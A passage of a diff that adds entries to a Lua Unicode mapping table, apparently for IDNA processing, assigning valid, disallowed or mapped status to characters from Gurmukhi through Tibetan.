+ -- NA <reserved-0A3A>..<reserved-0A3B>
+ [0x0A3A] = {status="disallowed"},
+ [0x0A3B] = {status="disallowed"},
+ -- GURMUKHI VOWEL SIGN AA..GURMUKHI VOWEL SIGN UU
+ [0x0A3E] = {status="valid"},
+ [0x0A3F] = {status="valid"},
+ [0x0A40] = {status="valid"},
+ [0x0A41] = {status="valid"},
+ [0x0A42] = {status="valid"},
+ -- NA <reserved-0A43>..<reserved-0A46>
+ [0x0A43] = {status="disallowed"},
+ [0x0A44] = {status="disallowed"},
+ [0x0A45] = {status="disallowed"},
+ [0x0A46] = {status="disallowed"},
+ -- GURMUKHI VOWEL SIGN EE..GURMUKHI VOWEL SIGN AI
+ [0x0A47] = {status="valid"},
+ [0x0A48] = {status="valid"},
+ -- NA <reserved-0A49>..<reserved-0A4A>
+ [0x0A49] = {status="disallowed"},
+ [0x0A4A] = {status="disallowed"},
+ -- GURMUKHI VOWEL SIGN OO..GURMUKHI SIGN VIRAMA
+ [0x0A4B] = {status="valid"},
+ [0x0A4C] = {status="valid"},
+ [0x0A4D] = {status="valid"},
+ [0x0A51] = {status="valid"}, -- GURMUKHI SIGN UDAAT
+ -- NA <reserved-0A4E>..<reserved-0A50>
+ [0x0A4E] = {status="disallowed"},
+ [0x0A4F] = {status="disallowed"},
+ [0x0A50] = {status="disallowed"},
+ [0x0A59] = {0x0A16, 0x0A3C}, -- GURMUKHI LETTER KHHA
+ [0x0A5A] = {0x0A17, 0x0A3C}, -- GURMUKHI LETTER GHHA
+ [0x0A5B] = {0x0A1C, 0x0A3C}, -- GURMUKHI LETTER ZA
+ [0x0A5C] = {status="valid"}, -- GURMUKHI LETTER RRA
+ [0x0A5D] = {status="disallowed"}, -- NA <reserved-0A5D>
+ [0x0A5E] = {0x0A2B, 0x0A3C}, -- GURMUKHI LETTER FA
+ [0x0A75] = {status="valid"}, -- GURMUKHI SIGN YAKASH
+ [0x0A84] = {status="disallowed"}, -- NA <reserved-0A84>
+ -- GUJARATI SIGN CANDRABINDU..GUJARATI SIGN VISARGA
+ [0x0A81] = {status="valid"},
+ [0x0A82] = {status="valid"},
+ [0x0A83] = {status="valid"},
+ [0x0A8C] = {status="valid"}, -- GUJARATI LETTER VOCALIC L
+ [0x0A8D] = {status="valid"}, -- GUJARATI VOWEL CANDRA E
+ [0x0A8E] = {status="disallowed"}, -- NA <reserved-0A8E>
+ [0x0A92] = {status="disallowed"}, -- NA <reserved-0A92>
+ -- GUJARATI LETTER E..GUJARATI VOWEL CANDRA O
+ [0x0A8F] = {status="valid"},
+ [0x0A90] = {status="valid"},
+ [0x0A91] = {status="valid"},
+ [0x0AA9] = {status="disallowed"}, -- NA <reserved-0AA9>
+ [0x0AB1] = {status="disallowed"}, -- NA <reserved-0AB1>
+ [0x0AB4] = {status="disallowed"}, -- NA <reserved-0AB4>
+ -- GUJARATI LETTER LA..GUJARATI LETTER LLA
+ [0x0AB2] = {status="valid"},
+ [0x0AB3] = {status="valid"},
+ -- GUJARATI LETTER VA..GUJARATI LETTER HA
+ [0x0AB5] = {status="valid"},
+ [0x0AB6] = {status="valid"},
+ [0x0AB7] = {status="valid"},
+ [0x0AB8] = {status="valid"},
+ [0x0AB9] = {status="valid"},
+ -- NA <reserved-0ABA>..<reserved-0ABB>
+ [0x0ABA] = {status="disallowed"},
+ [0x0ABB] = {status="disallowed"},
+ [0x0AC6] = {status="disallowed"}, -- NA <reserved-0AC6>
+ [0x0ACA] = {status="disallowed"}, -- NA <reserved-0ACA>
+ -- GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN CANDRA O
+ [0x0AC7] = {status="valid"},
+ [0x0AC8] = {status="valid"},
+ [0x0AC9] = {status="valid"},
+ -- GUJARATI VOWEL SIGN O..GUJARATI SIGN VIRAMA
+ [0x0ACB] = {status="valid"},
+ [0x0ACC] = {status="valid"},
+ [0x0ACD] = {status="valid"},
+ [0x0AD0] = {status="valid"}, -- GUJARATI OM
+ -- NA <reserved-0ACE>..<reserved-0ACF>
+ [0x0ACE] = {status="disallowed"},
+ [0x0ACF] = {status="disallowed"},
+ [0x0AE0] = {status="valid"}, -- GUJARATI LETTER VOCALIC RR
+ -- GUJARATI LETTER VOCALIC LL..GUJARATI VOWEL SIGN VOCALIC LL
+ [0x0AE1] = {status="valid"},
+ [0x0AE2] = {status="valid"},
+ [0x0AE3] = {status="valid"},
+ -- NA <reserved-0AE4>..<reserved-0AE5>
+ [0x0AE4] = {status="disallowed"},
+ [0x0AE5] = {status="disallowed"},
+ [0x0AF0] = {status="disallowed"}, -- GUJARATI ABBREVIATION SIGN
+ [0x0AF1] = {status="disallowed"}, -- GUJARATI RUPEE SIGN
+ [0x0AF9] = {status="valid"}, -- GUJARATI LETTER ZHA
+ [0x0B00] = {status="disallowed"}, -- NA <reserved-0B00>
+ [0x0B04] = {status="disallowed"}, -- NA <reserved-0B04>
+ -- ORIYA SIGN CANDRABINDU..ORIYA SIGN VISARGA
+ [0x0B01] = {status="valid"},
+ [0x0B02] = {status="valid"},
+ [0x0B03] = {status="valid"},
+ -- NA <reserved-0B0D>..<reserved-0B0E>
+ [0x0B0D] = {status="disallowed"},
+ [0x0B0E] = {status="disallowed"},
+ -- ORIYA LETTER E..ORIYA LETTER AI
+ [0x0B0F] = {status="valid"},
+ [0x0B10] = {status="valid"},
+ -- NA <reserved-0B11>..<reserved-0B12>
+ [0x0B11] = {status="disallowed"},
+ [0x0B12] = {status="disallowed"},
+ [0x0B29] = {status="disallowed"}, -- NA <reserved-0B29>
+ [0x0B31] = {status="disallowed"}, -- NA <reserved-0B31>
+ [0x0B34] = {status="disallowed"}, -- NA <reserved-0B34>
+ [0x0B35] = {status="valid"}, -- ORIYA LETTER VA
+ -- ORIYA LETTER LA..ORIYA LETTER LLA
+ [0x0B32] = {status="valid"},
+ [0x0B33] = {status="valid"},
+ -- ORIYA LETTER SHA..ORIYA LETTER HA
+ [0x0B36] = {status="valid"},
+ [0x0B37] = {status="valid"},
+ [0x0B38] = {status="valid"},
+ [0x0B39] = {status="valid"},
+ -- NA <reserved-0B3A>..<reserved-0B3B>
+ [0x0B3A] = {status="disallowed"},
+ [0x0B3B] = {status="disallowed"},
+ [0x0B44] = {status="valid"}, -- ORIYA VOWEL SIGN VOCALIC RR
+ -- NA <reserved-0B45>..<reserved-0B46>
+ [0x0B45] = {status="disallowed"},
+ [0x0B46] = {status="disallowed"},
+ -- ORIYA VOWEL SIGN E..ORIYA VOWEL SIGN AI
+ [0x0B47] = {status="valid"},
+ [0x0B48] = {status="valid"},
+ -- NA <reserved-0B49>..<reserved-0B4A>
+ [0x0B49] = {status="disallowed"},
+ [0x0B4A] = {status="disallowed"},
+ -- ORIYA VOWEL SIGN O..ORIYA SIGN VIRAMA
+ [0x0B4B] = {status="valid"},
+ [0x0B4C] = {status="valid"},
+ [0x0B4D] = {status="valid"},
+ -- ORIYA AI LENGTH MARK..ORIYA AU LENGTH MARK
+ [0x0B56] = {status="valid"},
+ [0x0B57] = {status="valid"},
+ [0x0B5C] = {0x0B21, 0x0B3C}, -- ORIYA LETTER RRA
+ [0x0B5D] = {0x0B22, 0x0B3C}, -- ORIYA LETTER RHA
+ [0x0B5E] = {status="disallowed"}, -- NA <reserved-0B5E>
+ -- NA <reserved-0B58>..<reserved-0B5B>
+ [0x0B58] = {status="disallowed"},
+ [0x0B59] = {status="disallowed"},
+ [0x0B5A] = {status="disallowed"},
+ [0x0B5B] = {status="disallowed"},
+ -- ORIYA LETTER YYA..ORIYA LETTER VOCALIC LL
+ -- ORIYA VOWEL SIGN VOCALIC L..ORIYA VOWEL SIGN VOCALIC LL
+ [0x0B5F] = {status="valid"},
+ [0x0B60] = {status="valid"},
+ [0x0B61] = {status="valid"},
+ [0x0B62] = {status="valid"},
+ [0x0B63] = {status="valid"},
+ -- NA <reserved-0B64>..<reserved-0B65>
+ [0x0B64] = {status="disallowed"},
+ [0x0B65] = {status="disallowed"},
+ [0x0B70] = {status="disallowed"}, -- ORIYA ISSHAR
+ [0x0B71] = {status="valid"}, -- ORIYA LETTER WA
+ [0x0B84] = {status="disallowed"}, -- NA <reserved-0B84>
+ -- TAMIL SIGN ANUSVARA..TAMIL SIGN VISARGA
+ [0x0B82] = {status="valid"},
+ [0x0B83] = {status="valid"},
+ -- NA <reserved-0B8B>..<reserved-0B8D>
+ [0x0B8B] = {status="disallowed"},
+ [0x0B8C] = {status="disallowed"},
+ [0x0B8D] = {status="disallowed"},
+ [0x0B91] = {status="disallowed"}, -- NA <reserved-0B91>
+ -- TAMIL LETTER E..TAMIL LETTER AI
+ [0x0B8E] = {status="valid"},
+ [0x0B8F] = {status="valid"},
+ [0x0B90] = {status="valid"},
+ -- TAMIL LETTER O..TAMIL LETTER KA
+ [0x0B92] = {status="valid"},
+ [0x0B93] = {status="valid"},
+ [0x0B94] = {status="valid"},
+ [0x0B95] = {status="valid"},
+ -- NA <reserved-0B96>..<reserved-0B98>
+ [0x0B96] = {status="disallowed"},
+ [0x0B97] = {status="disallowed"},
+ [0x0B98] = {status="disallowed"},
+ [0x0B9B] = {status="disallowed"}, -- NA <reserved-0B9B>
+ [0x0B9C] = {status="valid"}, -- TAMIL LETTER JA
+ [0x0B9D] = {status="disallowed"}, -- NA <reserved-0B9D>
+ -- TAMIL LETTER NGA..TAMIL LETTER CA
+ [0x0B99] = {status="valid"},
+ [0x0B9A] = {status="valid"},
+ -- TAMIL LETTER NYA..TAMIL LETTER TTA
+ [0x0B9E] = {status="valid"},
+ [0x0B9F] = {status="valid"},
+ -- NA <reserved-0BA0>..<reserved-0BA2>
+ [0x0BA0] = {status="disallowed"},
+ [0x0BA1] = {status="disallowed"},
+ [0x0BA2] = {status="disallowed"},
+ -- TAMIL LETTER NNA..TAMIL LETTER TA
+ [0x0BA3] = {status="valid"},
+ [0x0BA4] = {status="valid"},
+ -- NA <reserved-0BA5>..<reserved-0BA7>
+ [0x0BA5] = {status="disallowed"},
+ [0x0BA6] = {status="disallowed"},
+ [0x0BA7] = {status="disallowed"},
+ -- TAMIL LETTER NA..TAMIL LETTER PA
+ [0x0BA8] = {status="valid"},
+ [0x0BA9] = {status="valid"},
+ [0x0BAA] = {status="valid"},
+ -- NA <reserved-0BAB>..<reserved-0BAD>
+ [0x0BAB] = {status="disallowed"},
+ [0x0BAC] = {status="disallowed"},
+ [0x0BAD] = {status="disallowed"},
+ [0x0BB6] = {status="valid"}, -- TAMIL LETTER SHA
+ -- TAMIL LETTER SSA..TAMIL LETTER HA
+ [0x0BB7] = {status="valid"},
+ [0x0BB8] = {status="valid"},
+ [0x0BB9] = {status="valid"},
+ -- NA <reserved-0BBA>..<reserved-0BBD>
+ [0x0BBA] = {status="disallowed"},
+ [0x0BBB] = {status="disallowed"},
+ [0x0BBC] = {status="disallowed"},
+ [0x0BBD] = {status="disallowed"},
+ -- TAMIL VOWEL SIGN AA..TAMIL VOWEL SIGN UU
+ [0x0BBE] = {status="valid"},
+ [0x0BBF] = {status="valid"},
+ [0x0BC0] = {status="valid"},
+ [0x0BC1] = {status="valid"},
+ [0x0BC2] = {status="valid"},
+ -- NA <reserved-0BC3>..<reserved-0BC5>
+ [0x0BC3] = {status="disallowed"},
+ [0x0BC4] = {status="disallowed"},
+ [0x0BC5] = {status="disallowed"},
+ [0x0BC9] = {status="disallowed"}, -- NA <reserved-0BC9>
+ -- TAMIL VOWEL SIGN E..TAMIL VOWEL SIGN AI
+ [0x0BC6] = {status="valid"},
+ [0x0BC7] = {status="valid"},
+ [0x0BC8] = {status="valid"},
+ -- TAMIL VOWEL SIGN O..TAMIL SIGN VIRAMA
+ [0x0BCA] = {status="valid"},
+ [0x0BCB] = {status="valid"},
+ [0x0BCC] = {status="valid"},
+ [0x0BCD] = {status="valid"},
+ [0x0BD0] = {status="valid"}, -- TAMIL OM
+ -- NA <reserved-0BCE>..<reserved-0BCF>
+ [0x0BCE] = {status="disallowed"},
+ [0x0BCF] = {status="disallowed"},
+ [0x0BD7] = {status="valid"}, -- TAMIL AU LENGTH MARK
+ [0x0BE6] = {status="valid"}, -- TAMIL DIGIT ZERO
+ [0x0C00] = {status="valid"}, -- TELUGU SIGN COMBINING CANDRABINDU ABOVE
+ -- NA <reserved-0BFB>..<reserved-0BFF>
+ [0x0BFB] = {status="disallowed"},
+ [0x0BFC] = {status="disallowed"},
+ [0x0BFD] = {status="disallowed"},
+ [0x0BFE] = {status="disallowed"},
+ [0x0BFF] = {status="disallowed"},
+ [0x0C04] = {status="disallowed"}, -- NA <reserved-0C04>
+ -- TELUGU SIGN CANDRABINDU..TELUGU SIGN VISARGA
+ [0x0C01] = {status="valid"},
+ [0x0C02] = {status="valid"},
+ [0x0C03] = {status="valid"},
+ [0x0C0D] = {status="disallowed"}, -- NA <reserved-0C0D>
+ [0x0C11] = {status="disallowed"}, -- NA <reserved-0C11>
+ -- TELUGU LETTER E..TELUGU LETTER AI
+ [0x0C0E] = {status="valid"},
+ [0x0C0F] = {status="valid"},
+ [0x0C10] = {status="valid"},
+ [0x0C29] = {status="disallowed"}, -- NA <reserved-0C29>
+ [0x0C34] = {status="valid"}, -- TELUGU LETTER LLLA
+ -- TELUGU LETTER VA..TELUGU LETTER HA
+ [0x0C35] = {status="valid"},
+ [0x0C36] = {status="valid"},
+ [0x0C37] = {status="valid"},
+ [0x0C38] = {status="valid"},
+ [0x0C39] = {status="valid"},
+ [0x0C3D] = {status="valid"}, -- TELUGU SIGN AVAGRAHA
+ -- NA <reserved-0C3A>..<reserved-0C3C>
+ [0x0C3A] = {status="disallowed"},
+ [0x0C3B] = {status="disallowed"},
+ [0x0C3C] = {status="disallowed"},
+ [0x0C45] = {status="disallowed"}, -- NA <reserved-0C45>
+ [0x0C49] = {status="disallowed"}, -- NA <reserved-0C49>
+ -- TELUGU VOWEL SIGN E..TELUGU VOWEL SIGN AI
+ [0x0C46] = {status="valid"},
+ [0x0C47] = {status="valid"},
+ [0x0C48] = {status="valid"},
+ -- TELUGU VOWEL SIGN O..TELUGU SIGN VIRAMA
+ [0x0C4A] = {status="valid"},
+ [0x0C4B] = {status="valid"},
+ [0x0C4C] = {status="valid"},
+ [0x0C4D] = {status="valid"},
+ [0x0C57] = {status="disallowed"}, -- NA <reserved-0C57>
+ -- TELUGU LENGTH MARK..TELUGU AI LENGTH MARK
+ [0x0C55] = {status="valid"},
+ [0x0C56] = {status="valid"},
+ [0x0C5A] = {status="valid"}, -- TELUGU LETTER RRRA
+ -- TELUGU LETTER TSA..TELUGU LETTER DZA
+ [0x0C58] = {status="valid"},
+ [0x0C59] = {status="valid"},
+ -- NA <reserved-0C5B>..<reserved-0C5F>
+ [0x0C5B] = {status="disallowed"},
+ [0x0C5C] = {status="disallowed"},
+ [0x0C5D] = {status="disallowed"},
+ [0x0C5E] = {status="disallowed"},
+ [0x0C5F] = {status="disallowed"},
+ -- TELUGU LETTER VOCALIC RR..TELUGU LETTER VOCALIC LL
+ -- TELUGU VOWEL SIGN VOCALIC L..TELUGU VOWEL SIGN VOCALIC LL
+ [0x0C60] = {status="valid"},
+ [0x0C61] = {status="valid"},
+ [0x0C62] = {status="valid"},
+ [0x0C63] = {status="valid"},
+ -- NA <reserved-0C64>..<reserved-0C65>
+ [0x0C64] = {status="disallowed"},
+ [0x0C65] = {status="disallowed"},
+ [0x0C80] = {status="valid"}, -- KANNADA SIGN SPACING CANDRABINDU
+ [0x0C81] = {status="valid"}, -- KANNADA SIGN CANDRABINDU
+ [0x0C84] = {status="disallowed"}, -- NA <reserved-0C84>
+ -- KANNADA SIGN ANUSVARA..KANNADA SIGN VISARGA
+ [0x0C82] = {status="valid"},
+ [0x0C83] = {status="valid"},
+ [0x0C8D] = {status="disallowed"}, -- NA <reserved-0C8D>
+ [0x0C91] = {status="disallowed"}, -- NA <reserved-0C91>
+ -- KANNADA LETTER E..KANNADA LETTER AI
+ [0x0C8E] = {status="valid"},
+ [0x0C8F] = {status="valid"},
+ [0x0C90] = {status="valid"},
+ [0x0CA9] = {status="disallowed"}, -- NA <reserved-0CA9>
+ [0x0CB4] = {status="disallowed"}, -- NA <reserved-0CB4>
+ -- KANNADA LETTER VA..KANNADA LETTER HA
+ [0x0CB5] = {status="valid"},
+ [0x0CB6] = {status="valid"},
+ [0x0CB7] = {status="valid"},
+ [0x0CB8] = {status="valid"},
+ [0x0CB9] = {status="valid"},
+ -- NA <reserved-0CBA>..<reserved-0CBB>
+ [0x0CBA] = {status="disallowed"},
+ [0x0CBB] = {status="disallowed"},
+ [0x0CC5] = {status="disallowed"}, -- NA <reserved-0CC5>
+ [0x0CC9] = {status="disallowed"}, -- NA <reserved-0CC9>
+ -- KANNADA VOWEL SIGN E..KANNADA VOWEL SIGN AI
+ [0x0CC6] = {status="valid"},
+ [0x0CC7] = {status="valid"},
+ [0x0CC8] = {status="valid"},
+ -- KANNADA VOWEL SIGN O..KANNADA SIGN VIRAMA
+ [0x0CCA] = {status="valid"},
+ [0x0CCB] = {status="valid"},
+ [0x0CCC] = {status="valid"},
+ [0x0CCD] = {status="valid"},
+ -- KANNADA LENGTH MARK..KANNADA AI LENGTH MARK
+ [0x0CD5] = {status="valid"},
+ [0x0CD6] = {status="valid"},
+ [0x0CDE] = {status="valid"}, -- KANNADA LETTER FA
+ [0x0CDF] = {status="disallowed"}, -- NA <reserved-0CDF>
+ -- KANNADA LETTER VOCALIC RR..KANNADA LETTER VOCALIC LL
+ -- KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
+ [0x0CE0] = {status="valid"},
+ [0x0CE1] = {status="valid"},
+ [0x0CE2] = {status="valid"},
+ [0x0CE3] = {status="valid"},
+ -- NA <reserved-0CE4>..<reserved-0CE5>
+ [0x0CE4] = {status="disallowed"},
+ [0x0CE5] = {status="disallowed"},
+ [0x0CF0] = {status="disallowed"}, -- NA <reserved-0CF0>
+ -- KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA
+ [0x0CF1] = {status="valid"},
+ [0x0CF2] = {status="valid"},
+ [0x0D00] = {status="valid"}, -- MALAYALAM SIGN COMBINING ANUSVARA ABOVE
+ [0x0D01] = {status="valid"}, -- MALAYALAM SIGN CANDRABINDU
+ [0x0D04] = {status="disallowed"}, -- NA <reserved-0D04>
+ -- MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
+ [0x0D02] = {status="valid"},
+ [0x0D03] = {status="valid"},
+ [0x0D0D] = {status="disallowed"}, -- NA <reserved-0D0D>
+ [0x0D11] = {status="disallowed"}, -- NA <reserved-0D11>
+ -- MALAYALAM LETTER E..MALAYALAM LETTER AI
+ [0x0D0E] = {status="valid"},
+ [0x0D0F] = {status="valid"},
+ [0x0D10] = {status="valid"},
+ [0x0D29] = {status="valid"}, -- MALAYALAM LETTER NNNA
+ [0x0D3A] = {status="valid"}, -- MALAYALAM LETTER TTTA
+ [0x0D3D] = {status="valid"}, -- MALAYALAM SIGN AVAGRAHA
+ -- MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
+ [0x0D3B] = {status="valid"},
+ [0x0D3C] = {status="valid"},
+ [0x0D44] = {status="valid"}, -- MALAYALAM VOWEL SIGN VOCALIC RR
+ [0x0D45] = {status="disallowed"}, -- NA <reserved-0D45>
+ [0x0D49] = {status="disallowed"}, -- NA <reserved-0D49>
+ -- MALAYALAM VOWEL SIGN E..MALAYALAM VOWEL SIGN AI
+ [0x0D46] = {status="valid"},
+ [0x0D47] = {status="valid"},
+ [0x0D48] = {status="valid"},
+ [0x0D4E] = {status="valid"}, -- MALAYALAM LETTER DOT REPH
+ [0x0D4F] = {status="disallowed"}, -- MALAYALAM SIGN PARA
+ -- MALAYALAM VOWEL SIGN O..MALAYALAM SIGN VIRAMA
+ [0x0D4A] = {status="valid"},
+ [0x0D4B] = {status="valid"},
+ [0x0D4C] = {status="valid"},
+ [0x0D4D] = {status="valid"},
+ -- NA <reserved-0D50>..<reserved-0D53>
+ [0x0D50] = {status="disallowed"},
+ [0x0D51] = {status="disallowed"},
+ [0x0D52] = {status="disallowed"},
+ [0x0D53] = {status="disallowed"},
+ [0x0D57] = {status="valid"}, -- MALAYALAM AU LENGTH MARK
+ -- MALAYALAM LETTER CHILLU M..MALAYALAM LETTER CHILLU LLL
+ [0x0D54] = {status="valid"},
+ [0x0D55] = {status="valid"},
+ [0x0D56] = {status="valid"},
+ [0x0D5F] = {status="valid"}, -- MALAYALAM LETTER ARCHAIC II
+ -- MALAYALAM LETTER VOCALIC RR..MALAYALAM LETTER VOCALIC LL
+ -- MALAYALAM VOWEL SIGN VOCALIC L..MALAYALAM VOWEL SIGN VOCALIC LL
+ [0x0D60] = {status="valid"},
+ [0x0D61] = {status="valid"},
+ [0x0D62] = {status="valid"},
+ [0x0D63] = {status="valid"},
+ -- NA <reserved-0D64>..<reserved-0D65>
+ [0x0D64] = {status="disallowed"},
+ [0x0D65] = {status="disallowed"},
+ [0x0D79] = {status="disallowed"}, -- MALAYALAM DATE MARK
+ -- NA <reserved-0D80>..<reserved-0D81>
+ [0x0D80] = {status="disallowed"},
+ [0x0D81] = {status="disallowed"},
+ [0x0D84] = {status="disallowed"}, -- NA <reserved-0D84>
+ -- SINHALA SIGN ANUSVARAYA..SINHALA SIGN VISARGAYA
+ [0x0D82] = {status="valid"},
+ [0x0D83] = {status="valid"},
+ -- NA <reserved-0D97>..<reserved-0D99>
+ [0x0D97] = {status="disallowed"},
+ [0x0D98] = {status="disallowed"},
+ [0x0D99] = {status="disallowed"},
+ [0x0DB2] = {status="disallowed"}, -- NA <reserved-0DB2>
+ [0x0DBC] = {status="disallowed"}, -- NA <reserved-0DBC>
+ [0x0DBD] = {status="valid"}, -- SINHALA LETTER DANTAJA LAYANNA
+ -- NA <reserved-0DBE>..<reserved-0DBF>
+ [0x0DBE] = {status="disallowed"},
+ [0x0DBF] = {status="disallowed"},
+ [0x0DCA] = {status="valid"}, -- SINHALA SIGN AL-LAKUNA
+ -- NA <reserved-0DC7>..<reserved-0DC9>
+ [0x0DC7] = {status="disallowed"},
+ [0x0DC8] = {status="disallowed"},
+ [0x0DC9] = {status="disallowed"},
+ -- NA <reserved-0DCB>..<reserved-0DCE>
+ [0x0DCB] = {status="disallowed"},
+ [0x0DCC] = {status="disallowed"},
+ [0x0DCD] = {status="disallowed"},
+ [0x0DCE] = {status="disallowed"},
+ [0x0DD5] = {status="disallowed"}, -- NA <reserved-0DD5>
+ [0x0DD6] = {status="valid"}, -- SINHALA VOWEL SIGN DIGA PAA-PILLA
+ [0x0DD7] = {status="disallowed"}, -- NA <reserved-0DD7>
+ -- NA <reserved-0DF0>..<reserved-0DF1>
+ [0x0DF0] = {status="disallowed"},
+ [0x0DF1] = {status="disallowed"},
+ [0x0DF4] = {status="disallowed"}, -- SINHALA PUNCTUATION KUNDDALIYA
+ -- SINHALA VOWEL SIGN DIGA GAETTA-PILLA..SINHALA VOWEL SIGN DIGA GAYANUKITTA
+ [0x0DF2] = {status="valid"},
+ [0x0DF3] = {status="valid"},
+ [0x0E33] = {0x0E4D, 0x0E32}, -- THAI CHARACTER SARA AM
+ [0x0E3F] = {status="disallowed"}, -- THAI CURRENCY SYMBOL BAHT
+ -- NA <reserved-0E3B>..<reserved-0E3E>
+ [0x0E3B] = {status="disallowed"},
+ [0x0E3C] = {status="disallowed"},
+ [0x0E3D] = {status="disallowed"},
+ [0x0E3E] = {status="disallowed"},
+ [0x0E4F] = {status="disallowed"}, -- THAI CHARACTER FONGMAN
+ -- THAI CHARACTER ANGKHANKHU..THAI CHARACTER KHOMUT
+ [0x0E5A] = {status="disallowed"},
+ [0x0E5B] = {status="disallowed"},
+ [0x0E83] = {status="disallowed"}, -- NA <reserved-0E83>
+ [0x0E84] = {status="valid"}, -- LAO LETTER KHO TAM
+ -- LAO LETTER KO..LAO LETTER KHO SUNG
+ [0x0E81] = {status="valid"},
+ [0x0E82] = {status="valid"},
+ -- NA <reserved-0E85>..<reserved-0E86>
+ [0x0E85] = {status="disallowed"},
+ [0x0E86] = {status="disallowed"},
+ [0x0E89] = {status="disallowed"}, -- NA <reserved-0E89>
+ [0x0E8A] = {status="valid"}, -- LAO LETTER SO TAM
+ -- LAO LETTER NGO..LAO LETTER CO
+ [0x0E87] = {status="valid"},
+ [0x0E88] = {status="valid"},
+ [0x0E8D] = {status="valid"}, -- LAO LETTER NYO
+ -- NA <reserved-0E8B>..<reserved-0E8C>
+ [0x0E8B] = {status="disallowed"},
+ [0x0E8C] = {status="disallowed"},
+ [0x0E98] = {status="disallowed"}, -- NA <reserved-0E98>
+ -- LAO LETTER DO..LAO LETTER THO TAM
+ [0x0E94] = {status="valid"},
+ [0x0E95] = {status="valid"},
+ [0x0E96] = {status="valid"},
+ [0x0E97] = {status="valid"},
+ [0x0EA0] = {status="disallowed"}, -- NA <reserved-0EA0>
+ [0x0EA4] = {status="disallowed"}, -- NA <reserved-0EA4>
+ [0x0EA5] = {status="valid"}, -- LAO LETTER LO LOOT
+ [0x0EA6] = {status="disallowed"}, -- NA <reserved-0EA6>
+ [0x0EA7] = {status="valid"}, -- LAO LETTER WO
+ -- LAO LETTER MO..LAO LETTER LO LING
+ [0x0EA1] = {status="valid"},
+ [0x0EA2] = {status="valid"},
+ [0x0EA3] = {status="valid"},
+ -- NA <reserved-0EA8>..<reserved-0EA9>
+ [0x0EA8] = {status="disallowed"},
+ [0x0EA9] = {status="disallowed"},
+ [0x0EAC] = {status="disallowed"}, -- NA <reserved-0EAC>
+ -- LAO LETTER SO SUNG..LAO LETTER HO SUNG
+ [0x0EAA] = {status="valid"},
+ [0x0EAB] = {status="valid"},
+ [0x0EB3] = {0x0ECD, 0x0EB2}, -- LAO VOWEL SIGN AM
+ [0x0EBA] = {status="disallowed"}, -- NA <reserved-0EBA>
+ -- LAO VOWEL SIGN MAI KON..LAO SEMIVOWEL SIGN NYO
+ [0x0EBB] = {status="valid"},
+ [0x0EBC] = {status="valid"},
+ [0x0EBD] = {status="valid"},
+ -- NA <reserved-0EBE>..<reserved-0EBF>
+ [0x0EBE] = {status="disallowed"},
+ [0x0EBF] = {status="disallowed"},
+ [0x0EC5] = {status="disallowed"}, -- NA <reserved-0EC5>
+ [0x0EC6] = {status="valid"}, -- LAO KO LA
+ [0x0EC7] = {status="disallowed"}, -- NA <reserved-0EC7>
+ -- LAO VOWEL SIGN E..LAO VOWEL SIGN AI
+ [0x0EC0] = {status="valid"},
+ [0x0EC1] = {status="valid"},
+ [0x0EC2] = {status="valid"},
+ [0x0EC3] = {status="valid"},
+ [0x0EC4] = {status="valid"},
+ -- NA <reserved-0ECE>..<reserved-0ECF>
+ [0x0ECE] = {status="disallowed"},
+ [0x0ECF] = {status="disallowed"},
+ [0x0EDC] = {0x0EAB, 0x0E99}, -- LAO HO NO
+ [0x0EDD] = {0x0EAB, 0x0EA1}, -- LAO HO MO
+ -- NA <reserved-0EDA>..<reserved-0EDB>
+ [0x0EDA] = {status="disallowed"},
+ [0x0EDB] = {status="disallowed"},
+ -- LAO LETTER KHMU GO..LAO LETTER KHMU NYO
+ [0x0EDE] = {status="valid"},
+ [0x0EDF] = {status="valid"},
+ [0x0F00] = {status="valid"}, -- TIBETAN SYLLABLE OM
+ [0x0F0B] = {status="valid"}, -- TIBETAN MARK INTERSYLLABIC TSHEG
+ [0x0F0C] = 0x0F0B, -- TIBETAN MARK DELIMITER TSHEG BSTAR
+ -- TIBETAN ASTROLOGICAL SIGN -KHYUD PA..TIBETAN ASTROLOGICAL SIGN SDONG TSHUGS
+ [0x0F18] = {status="valid"},
+ [0x0F19] = {status="valid"},
+ [0x0F35] = {status="valid"}, -- TIBETAN MARK NGAS BZUNG NYI ZLA
+ [0x0F36] = {status="disallowed"}, -- TIBETAN MARK CARET -DZUD RTAGS BZHI MIG CAN
+ [0x0F37] = {status="valid"}, -- TIBETAN MARK NGAS BZUNG SGOR RTAGS
+ [0x0F38] = {status="disallowed"}, -- TIBETAN MARK CHE MGO
+ [0x0F39] = {status="valid"}, -- TIBETAN MARK TSA -PHRU
+ -- TIBETAN MARK GUG RTAGS GYON..TIBETAN MARK ANG KHANG GYAS
+ [0x0F3A] = {status="disallowed"},
+ [0x0F3B] = {status="disallowed"},
+ [0x0F3C] = {status="disallowed"},
+ [0x0F3D] = {status="disallowed"},
+ [0x0F43] = {0x0F42, 0x0FB7}, -- TIBETAN LETTER GHA
+ -- TIBETAN SIGN YAR TSHES..TIBETAN LETTER GA
+ [0x0F3E] = {status="valid"},
+ [0x0F3F] = {status="valid"},
+ [0x0F40] = {status="valid"},
+ [0x0F41] = {status="valid"},
+ [0x0F42] = {status="valid"},
+ [0x0F48] = {status="disallowed"}, -- NA <reserved-0F48>
+ -- TIBETAN LETTER NGA..TIBETAN LETTER JA
+ [0x0F44] = {status="valid"},
+ [0x0F45] = {status="valid"},
+ [0x0F46] = {status="valid"},
+ [0x0F47] = {status="valid"},
+ [0x0F4D] = {0x0F4C, 0x0FB7}, -- TIBETAN LETTER DDHA
+ -- TIBETAN LETTER NYA..TIBETAN LETTER DDA
+ [0x0F49] = {status="valid"},
+ [0x0F4A] = {status="valid"},
+ [0x0F4B] = {status="valid"},
+ [0x0F4C] = {status="valid"},
+ [0x0F52] = {0x0F51, 0x0FB7}, -- TIBETAN LETTER DHA
+ -- TIBETAN LETTER NNA..TIBETAN LETTER DA
+ [0x0F4E] = {status="valid"},
+ [0x0F4F] = {status="valid"},
+ [0x0F50] = {status="valid"},
+ [0x0F51] = {status="valid"},
+ [0x0F57] = {0x0F56, 0x0FB7}, -- TIBETAN LETTER BHA
+ -- TIBETAN LETTER NA..TIBETAN LETTER BA
+ [0x0F53] = {status="valid"},
